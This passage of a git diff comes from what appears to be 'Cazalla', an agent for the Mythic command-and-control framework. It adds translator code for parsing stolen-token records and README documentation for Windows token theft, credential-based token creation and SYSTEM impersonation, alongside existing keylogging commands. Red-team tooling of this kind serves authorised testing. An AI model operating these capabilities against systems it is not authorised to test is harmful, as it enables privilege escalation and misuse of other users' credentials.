if process_id != 0: # 0 is not a valid PID, so omit if 0
token_obj["process_id"] = process_id
if default_dacl:
token_obj["default_dacl"] = default_dacl
# session_id can be 0 (valid), so always include it
token_obj["session_id"] = session_id
# restricted can be False (valid), so always include it
token_obj["restricted"] = restricted
if capabilities:
token_obj["capabilities"] = capabilities
if logon_sid:
token_obj["logon_sid"] = logon_sid
if integrity_level_sid != 0:
token_obj["integrity_level_sid"] = integrity_level_sid
if app_container_number != 0:
token_obj["app_container_number"] = app_container_number
if app_container_sid:
token_obj["app_container_sid"] = app_container_sid
if privileges:
token_obj["privileges"] = privileges
if handle != 0: # 0 is not a valid handle, so omit if 0
token_obj["handle"] = handle
tokens_data.append(token_obj)
print(f"[TOKEN] token_id={token_id}, user='{user}', pid={process_id}, handle={handle}")
remaining_data = remaining_data[offset:]
print(f"[TOKEN] Tokens parseados hasta ahora: {len(tokens_data)}, remaining_data length: {len(remaining_data)} bytes")
if len(remaining_data) > 0:
print(f"[TOKEN] Siguiente byte en remaining_data: 0x{remaining_data[0]:02X}")
elif remaining_data[0] == 0xF3:
# Callback token marker found
# Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
offset = 1
if len(remaining_data) < offset + 4:
break
action_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if action_len == 0 or len(remaining_data) < offset + action_len:
break
try:
action = remaining_data[offset:offset+action_len].decode('utf-8', errors='ignore')
offset += action_len
except:
break
# Host
if len(remaining_data) < offset + 4:
break
host_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
host = ""
if host_len > 0:
if len(remaining_data) < offset + host_len:
break
try:
host = remaining_data[offset:offset+host_len].decode('utf-8', errors='ignore')
offset += host_len
except:
pass
# Token ID
if len(remaining_data) < offset + 4:
break
token_id = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
callback_tokens_data.append({
"action": action,
"host": host,
"token_id": token_id
})
print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}")
remaining_data = remaining_data[offset:]
else: else:
# No more markers # No more markers
break break
@@ -813,7 +1029,8 @@ def postResponse(data):
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks # Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
# (los chunks de download no necesitan user_output) # (los chunks de download no necesitan user_output)
if not download_chunk or decoded_output.strip(): # Always include user_output if there's output text (needed for tokens command to show in GUI)
if not download_chunk and decoded_output.strip():
jsonTask["user_output"] = decoded_output jsonTask["user_output"] = decoded_output
# Si detectamos una lista de procesos, también incluir el formato para Process Browser # Si detectamos una lista de procesos, también incluir el formato para Process Browser
@@ -900,6 +1117,16 @@ def postResponse(data):
jsonTask["keylogs"] = keylogs_data jsonTask["keylogs"] = keylogs_data
print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}") print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}")
# Support for tokens: create tokens array from parsed data
if len(tokens_data) > 0:
jsonTask["tokens"] = tokens_data
print(f"[TOKENS] Total de tokens agregados: {len(tokens_data)}")
# Support for callback tokens: create callback_tokens array from parsed data
if len(callback_tokens_data) > 0:
jsonTask["callback_tokens"] = callback_tokens_data
print(f"[CALLBACK_TOKENS] Total de callback_tokens agregados: {len(callback_tokens_data)}")
# Add download information if present # Add download information if present
if download_registration: if download_registration:
jsonTask["download"] = download_registration jsonTask["download"] = download_registration
@@ -937,7 +1164,67 @@ def postResponse(data):
dataJson = {"action": "post_response", "responses": resTaks} dataJson = {"action": "post_response", "responses": resTaks}
print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}") # Log response size and token count for debugging
json_str = json.dumps(dataJson)
print(f"[RESPONSE] Tamaño del JSON: {len(json_str)} bytes")
print(f"[RESPONSE] Número de tokens en respuesta: {len(tokens_data)}")
print(f"[RESPONSE] Tiene user_output: {'user_output' in jsonTask}")
if 'user_output' in jsonTask:
print(f"[RESPONSE] Tamaño de user_output: {len(jsonTask['user_output'])} caracteres")
# Validate token format - check first token if any
if len(tokens_data) > 0:
first_token = tokens_data[0]
print(f"[RESPONSE] Primer token sample - token_id type: {type(first_token.get('token_id'))}, value: {first_token.get('token_id')}")
print(f"[RESPONSE] Primer token sample - handle type: {type(first_token.get('handle'))}, value: {first_token.get('handle')}")
print(f"[RESPONSE] Primer token sample - restricted type: {type(first_token.get('restricted'))}, value: {first_token.get('restricted')}")
print(f"[RESPONSE] Primer token sample - session_id type: {type(first_token.get('session_id'))}, value: {first_token.get('session_id')}")
# Check all required fields are present
required_fields = ["token_id", "host", "user", "groups", "thread_id", "process_id", "session_id", "restricted", "integrity_level_sid", "app_container_number", "handle"]
missing_fields = [field for field in required_fields if field not in first_token]
if missing_fields:
print(f"[ERROR] Campos faltantes en token: {missing_fields}")
else:
print(f"[RESPONSE] Todos los campos requeridos están presentes en el primer token")
print(f"[RESPONSE] Enviando JSON a Mythic...")
# Try to validate JSON serialization before sending
try:
json_test = json.dumps(dataJson)
print(f"[RESPONSE] JSON serialización exitosa, tamaño: {len(json_test)} bytes")
# Try to parse it back to ensure it's valid
json.loads(json_test)
print(f"[RESPONSE] JSON validación exitosa (parseable)")
except Exception as e:
print(f"[ERROR] Problema con JSON: {e}")
import traceback
traceback.print_exc()
# Log first few tokens for debugging
if len(tokens_data) > 0:
print(f"[RESPONSE] Primer token completo: {json.dumps(tokens_data[0], indent=2)}")
# Validate token_id is an integer (required)
for i, tok in enumerate(tokens_data[:3]): # Check first 3 tokens
if "token_id" not in tok:
print(f"[ERROR] Token {i} missing token_id!")
if not isinstance(tok.get("token_id"), int):
print(f"[ERROR] Token {i} token_id is not an integer: {type(tok.get('token_id'))}, value: {tok.get('token_id')}")
# Log response structure
if "responses" in dataJson:
for resp in dataJson["responses"]:
if "tokens" in resp:
print(f"[RESPONSE] Response has {len(resp['tokens'])} tokens")
# Check if all tokens have required token_id
for i, tok in enumerate(resp["tokens"]):
if "token_id" not in tok:
print(f"[ERROR] Token {i} in response missing token_id!")
if not isinstance(tok.get("token_id"), int):
print(f"[ERROR] Token {i} token_id type error: {type(tok.get('token_id'))}")
print(f"Respuesta generada: {json.dumps(dataJson, indent=4)[:2000]}...") # Truncate huge JSON
return dataJson return dataJson
+13 -2
View File
@@ -161,8 +161,19 @@ class cazalla_translator(TranslationContainer):
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes") print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
elif inputMsg.Message["action"] == "post_response": elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP") print("[TRANSLATOR] Response POSTREP recibido de Mythic")
response.Message = responsePosting(inputMsg.Message["responses"]) # base responses print(f"[TRANSLATOR] POSTREP Message keys: {list(inputMsg.Message.keys())}")
print(f"[TRANSLATOR] POSTREP Message completo: {json.dumps(inputMsg.Message, indent=2)[:1000]}...")
# Handle case where responses might not be present (e.g., error response from Mythic)
responses = inputMsg.Message.get("responses", [])
if responses:
print(f"[TRANSLATOR] POSTREP tiene {len(responses)} respuestas")
response.Message = responsePosting(responses) # base responses
else:
# Empty response or error - send empty acknowledgment
print("[WARN] post_response sin 'responses', enviando respuesta vacía")
print(f"[WARN] POSTREP Message completo sin responses: {json.dumps(inputMsg.Message, indent=2)}")
response.Message = len([]).to_bytes(4, "big") # 0 responses
socks_list = inputMsg.Message.get("socks", []) socks_list = inputMsg.Message.get("socks", [])
if socks_list: if socks_list:
extension = bytearray() extension = bytearray()
+25 -1
View File
@@ -2,6 +2,30 @@ import base64
import os import os
def getBytesWithSize(data): def getBytesWithSize(data):
size = int.from_bytes(data[0:4]) """
Read length-prefixed data.
Format: [size:4 bytes big-endian][data:size bytes]
Returns: (data_bytes, remaining_bytes)
"""
if len(data) < 4:
print(f"[WARN] getBytesWithSize: datos insuficientes ({len(data)} < 4)")
return b"", data
size = int.from_bytes(data[0:4], 'big') # Explicitly use big-endian
data = data[4:] data = data[4:]
# Validate size (reasonable limit: 100MB)
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
if size > MAX_REASONABLE_SIZE:
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
print(f"[WARN] Primeros 16 bytes (hex): {data[:16].hex()}")
# If size is suspicious, maybe it's actually a marker byte
# Return empty output and keep all data as remaining
return b"", data
if len(data) < size:
print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})")
# Return what we can and empty remaining
return data[:size], b""
return data[:size], data[size:] return data[:size], data[size:]
+205
View File
@@ -28,6 +28,7 @@
- [File Downloads Support](#file-downloads-support) - [File Downloads Support](#file-downloads-support)
- [File Uploads Support](#file-uploads-support) - [File Uploads Support](#file-uploads-support)
- [Keylogging Support](#%EF%B8%8F-keylogging-support) - [Keylogging Support](#%EF%B8%8F-keylogging-support)
- [Token Support](#-token-support)
- [Development](#development) - [Development](#development)
- [Troubleshooting](#troubleshooting) - [Troubleshooting](#troubleshooting)
- [Credits](#credits) - [Credits](#credits)
@@ -203,6 +204,16 @@ For more information, see the [Mythic documentation on customizing public agents
| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` | | `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
| `keylog_start` | Start keystroke logging | `keylog_start` | | `keylog_start` | Start keystroke logging | `keylog_start` |
| `keylog_stop` | Stop keystroke logging | `keylog_stop` | | `keylog_stop` | Stop keystroke logging | `keylog_stop` |
| `whoami` | Get current user context (thread token if impersonated, otherwise process token) | `whoami` |
### Token Operations
| Command | Description | Example |
|---------|-------------|---------|
| `list_tokens` | List all available tokens from running processes | `list_tokens` |
| `steal_token` | Steal and impersonate token from a target process | `steal_token <pid>` |
| `make_token` | Create a new token using credentials and impersonate it | `make_token domain username password [logon_type]` |
| `rev2self` | Revert token impersonation back to original token | `rev2self` |
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI. **Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
@@ -1183,6 +1194,200 @@ For more information, see the [Mythic Keylog documentation](https://docs.mythic-
--- ---
## 🔐 Token Support
Cazalla supports Windows token manipulation and impersonation, following [Mythic's Token specification](https://docs.mythic-c2.net/customizing/hooking-features/tokens).
### Features
- **Token Listing**: Enumerate all viewable tokens from running processes
- **Token Theft**: Steal tokens from processes to impersonate different users
- **Token Creation**: Create new tokens using credentials (domain, username, password)
- **Token Impersonation**: Impersonate tokens for subsequent tasking
- **Token Revert**: Revert to original token when done impersonating
- **Token Tasking**: Use stolen/created tokens for executing commands with different privileges
- **SeDebugPrivilege**: Automatically enables `SeDebugPrivilege` for accessing system processes
- **Mythic Integration**: Tokens are tracked in Mythic's Token UI and can be selected for tasking
### How It Works
Cazalla implements token functionality following Mythic's token specification:
1. **Token Listing** (`list_tokens`):
- Enumerates all running processes
- Opens each process token with `OpenProcessToken`
- Extracts user information, session ID, and process details
- Reports tokens to Mythic using the `tokens` key in `post_response`
- Tokens are viewable in Mythic's **Search → Tokens** page
- Displays token information including: Token ID, PID, Process name, User, and Session
2. **Token Theft** (`steal_token <pid>`):
- Opens the target process with appropriate access rights
- Opens and duplicates the process token
- Impersonates the token using `ImpersonateLoggedOnUser`
- Registers the token as a `callback_token` for use in subsequent tasking
- Reports a "Token Impersonation" artifact
- The token becomes available in the Mythic UI for tasking
3. **Token Creation** (`make_token domain username password [logon_type]`):
- Creates a new token using `LogonUserA` with provided credentials
- Impersonates the newly created token
- Registers the token as a `callback_token` for use in tasking
- Reports a "Token Creation" artifact
- Default `logon_type` is `9` (LOGON32_LOGON_NEW_CREDENTIALS) if not specified
4. **Token Revert** (`rev2self`):
- Calls `RevertToSelf()` to revert to the original process token
- Closes the impersonated token handle
- Useful after completing operations with an impersonated token
5. **Token Tasking**:
- When a token is registered as a `callback_token`, it appears in the Mythic UI
- You can select a token from the dropdown when issuing tasks
- The translator automatically includes the `token_id` in task messages
- Commands executed with a selected token run under that token's security context
### Using Token Commands
#### List Available Tokens
```bash
# List all viewable tokens from running processes
list_tokens
```
Output format:
```
Token ID: 1 | PID: 76 | Process: smss.exe | User: NT AUTHORITY\SYSTEM | Session: 0
Token ID: 2 | PID: 116 | Process: csrss.exe | User: NT AUTHORITY\SYSTEM | Session: 0
Token ID: 16 | PID: 1060 | Process: svchost.exe | User: NT AUTHORITY\SYSTEM | Session: 1
...
```
#### Steal Token from a Process
```bash
# Steal token from PID 1060 (SYSTEM process)
steal_token 1060
```
After stealing a token:
- The agent impersonates the token immediately
- The token is registered in Mythic as a `callback_token`
- You can verify impersonation with `whoami`
- Subsequent commands will run with that token's privileges (if selected in Mythic UI)
#### Create Token with Credentials
```bash
# Create token for domain user
make_token DOMAIN username password
# Create token with specific logon type
# Logon types: 2=Interactive, 3=Network, 9=NewCredentials (default)
make_token DOMAIN username password 9
```
#### Verify Token Impersonation
```bash
# Check current user context (before stealing token)
whoami
# Output: CETP-WIN11-01\localuser
# Steal token from SYSTEM process
steal_token 1060
# Check current user context (after stealing token)
whoami
# Output: NT AUTHORITY\SYSTEM
# Revert to original token
rev2self
# Check current user context (after reverting)
whoami
# Output: CETP-WIN11-01\localuser
```
#### Using Tokens for Tasking
1. Execute `list_tokens` to see available tokens
2. Execute `steal_token <pid>` to steal a token (or use `make_token` to create one)
3. In the Mythic UI, a dropdown appears next to the tasking bar
4. Select a token from the dropdown before issuing commands
5. Commands will execute with the selected token's security context
**Note**: Token selection in Mythic UI is handled automatically by the framework. The translator includes the `token_id` in the task message when a token is selected.
### Session Considerations
- **Session 0**: System services and processes run in Session 0
- **Session 2+**: User sessions start from Session 2
- Some processes may only be accessible if running with administrator privileges
- The `EnableSeDebugPrivilege` function is called automatically to access protected processes
### Implementation Details
The token system uses:
- **SeDebugPrivilege**: Automatically enabled for accessing system processes
- **OpenProcessToken**: Opens process tokens with appropriate access rights
- **DuplicateTokenEx**: Duplicates tokens for impersonation
- **ImpersonateLoggedOnUser**: Impersonates tokens on the current thread
- **RevertToSelf**: Reverts to the original process token
- **Process Enumeration**: Uses `CreateToolhelp32Snapshot` to enumerate processes
- **Token Information**: Uses `GetTokenInformation` and `LookupAccountSidA` to extract user info
### Error Handling
Token operations handle various scenarios:
- **Access Denied**: Falls back to `PROCESS_QUERY_LIMITED_INFORMATION` if full access fails
- **Protected Processes**: Some system processes may require elevated privileges
- **Invalid PID**: Validates PID and rejects PIDs 0 and 2 (reserved)
- **Token Opening**: Attempts multiple access rights combinations if initial attempt fails
- **Privilege Escalation**: Automatically enables `SeDebugPrivilege` when needed
### Viewing Tokens
1. Execute `list_tokens` to enumerate tokens
2. Navigate to **Search → Tokens** in the Mythic UI
3. View all tokens with details:
- Token ID (agent-generated unique identifier)
- Host (computer name)
- User (account name)
- Process ID
- Session ID
- Process name (from `list_tokens` output)
4. Tokens registered as `callback_tokens` (via `steal_token` or `make_token`) appear in the tasking dropdown
### Artifact Support
Token commands automatically report artifacts:
- **`steal_token`**: Reports "Token Impersonation" artifact with PID and user information
- **`make_token`**: Reports "Token Creation" artifact with domain, username, and logon type
These artifacts appear in Mythic's Artifacts page when token operations are performed.
### Verification Tips
1. **Before and After**: Use `whoami` before and after `steal_token` to verify impersonation
2. **Session 0 vs Session 2**: Tokens from Session 0 processes are accessible with administrator privileges
3. **Process Names**: Use `list_tokens` to see process names alongside PIDs
4. **Token ID**: The `token_id` in `list_tokens` output can be used to identify tokens, but for tasking, Mythic uses the token registered via `callback_tokens`
### Security Considerations
- **Token Impersonation**: Allows executing commands with different privileges
- **SeDebugPrivilege**: Required for accessing system process tokens
- **Token Theft**: Can be detected by security monitoring tools
- **Session Isolation**: Tokens from different sessions may have different access rights
- **Token Lifetime**: Impersonated tokens remain active until `rev2self` is called
For more information, see the [Mythic Tokens documentation](https://docs.mythic-c2.net/customizing/hooking-features/tokens).
---
## 🔧 Development ## 🔧 Development
### Project Structure ### Project Structure